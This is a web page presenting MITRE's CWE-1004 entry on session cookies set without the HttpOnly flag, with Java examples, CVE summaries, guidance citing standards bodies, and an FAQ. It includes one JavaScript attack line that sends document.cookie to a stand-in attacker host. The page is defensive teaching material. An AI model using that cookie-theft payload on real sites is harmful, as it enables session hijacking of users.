CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Code Examples & CVEs

Demonstrative Examples

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

BadJava

String sessionID = generateSessionId();Cookie c = new Cookie("session_id", sessionID);response.addCookie(c);

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

AttackJavaScript

document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

GoodJava

String sessionID = generateSessionId();Cookie c = new Cookie("session_id", sessionID);c.setHttpOnly(true);response.addCookie(c);

Observed CVE Examples (4)

CVE-2024-47833

python library for ML and data science does not use the HTTPOnly security attribute for session cookies

View Details

CVE-2022-24045

Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

View Details

CVE-2014-3852

CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

View Details

CVE-2015-4138

Appliance for managing encrypted communications does not use HttpOnly flag.

View Details

Source-backed guidance

Additional facts reviewed against primary or authoritative security sources.

Verify controls for CWE-1004 with SSDF evidence

Use NIST SSDF verification and vulnerability-response practices to detect CWE-1004, Sensitive Cookie Without 'HttpOnly' Flag, throughout the product lifecycle. Derive review questions, static or dynamic checks, and negative tests from the CWE's causal behavior; define the components and lifecycle stages each check covers; and retain findings with enough evidence to distinguish the root cause from symptoms and impacts. Track escapes and false negatives, then improve the verification plan after every confirmed occurrence.

NIST SP 800-218 Secure Software Development Framework — National Institute of Standards and Technology

Address Sensitive Cookie Without 'HttpOnly' Flag during Implementation

MITRE associates mitigation with Implementation; documented detection approaches include Automated Static Analysis; recorded impacts include Read Application Data, and Gain Privileges or Assume Identity. Use these source-defined anchors to turn CWE-1004 into implementation, review, and verification checks for the affected component.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag — MITRE CWE

Triage CWE-1004 against known exploitation evidence

Use CISA's Known Exploited Vulnerabilities catalog to test whether a vulnerability mapped to CWE-1004, Sensitive Cookie Without 'HttpOnly' Flag, has evidence of exploitation in the wild. Confirm the CVE-to-CWE root-cause mapping independently before attaching the example, then capture the affected product, required action, and remediation deadline. A missing KEV match is not evidence that the weakness is unexploited, and a KEV entry must not be generalized to every occurrence of this CWE.

Known Exploited Vulnerabilities Catalog — Cybersecurity and Infrastructure Security Agency

Apply precise root-cause mapping to CWE-1004

Apply MITRE's full root-cause mapping guidance when using CWE-1004, Sensitive Cookie Without 'HttpOnly' Flag. Separate weakness language from attacker prerequisites and technical impact, check the entry's abstraction and vulnerability-mapping notes, and prefer the most specific Base or Variant supported by the evidence. Record the rejected alternatives and require an independent review before the mapping is used for remediation trends or program metrics.

CVE to CWE Root Cause Mapping Guidance — MITRE CWE

Validate CWE-1004 with root-cause mapping checks

Apply MITRE's root-cause mapping quick tips to CWE-1004, Sensitive Cookie Without 'HttpOnly' Flag. Confirm the finding describes the causal weakness rather than an impact or attack pattern, compare the abstraction and mapping notes with plausible alternatives, and have a second reviewer challenge the selection. Preserve the evidence and reasoning so recurring defects can be measured against one consistent identifier.

CVE to CWE Root Cause Mapping Quick Tips — MITRE CWE

Frequently Asked Questions

What is CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag?+

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag is a Common Weakness Enumeration (CWE) entry maintained by MITRE. The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

What are the security consequences of Sensitive Cookie Without 'HttpOnly' Flag?+

If exploited, CWE-1004 (Sensitive Cookie Without 'HttpOnly' Flag) it can compromise Confidentiality and Integrity, leading to outcomes such as Read Application Data and Gain Privileges or Assume Identity.

How do you prevent or mitigate Sensitive Cookie Without 'HttpOnly' Flag?+

Recommended mitigations for CWE-1004 include: Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Which programming languages are affected by Sensitive Cookie Without 'HttpOnly' Flag?+

CWE-1004 commonly affects Not Language-Specific. Note that weaknesses are often language-agnostic patterns, so secure coding practices apply broadly.

What are real-world examples of Sensitive Cookie Without 'HttpOnly' Flag?+

MITRE documents real CVEs mapped to CWE-1004, including CVE-2024-47833, CVE-2022-24045, CVE-2014-3852 and CVE-2015-4138. You can look up the full details of each CVE, including CVSS scores and remediation guidance, on our CVE Lookup tool.

What is the difference between a CWE and a CVE?+

A CWE (Common Weakness Enumeration) like CWE-1004 describes a category of software weakness — the underlying flaw type. A CVE (Common Vulnerabilities and Exposures) identifies a specific, real-world vulnerability in a particular product. In short, a CWE is the kind of mistake, and a CVE is an instance of that mistake being found in software.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Technical Details

Applicable To

Security Consequences

Scope

Impact

Scope

Impact

Mitigation Strategies

Phase

Description

Effectiveness

Detection Methods

Code Examples & CVEs

Demonstrative Examples

Observed CVE Examples (4)

CWE Relationships

Parent Weaknesses

Source-backed guidance

Verify controls for CWE-1004 with SSDF evidence

Address Sensitive Cookie Without 'HttpOnly' Flag during Implementation

Triage CWE-1004 against known exploitation evidence

Apply precise root-cause mapping to CWE-1004

Validate CWE-1004 with root-cause mapping checks

Frequently Asked Questions

Learn More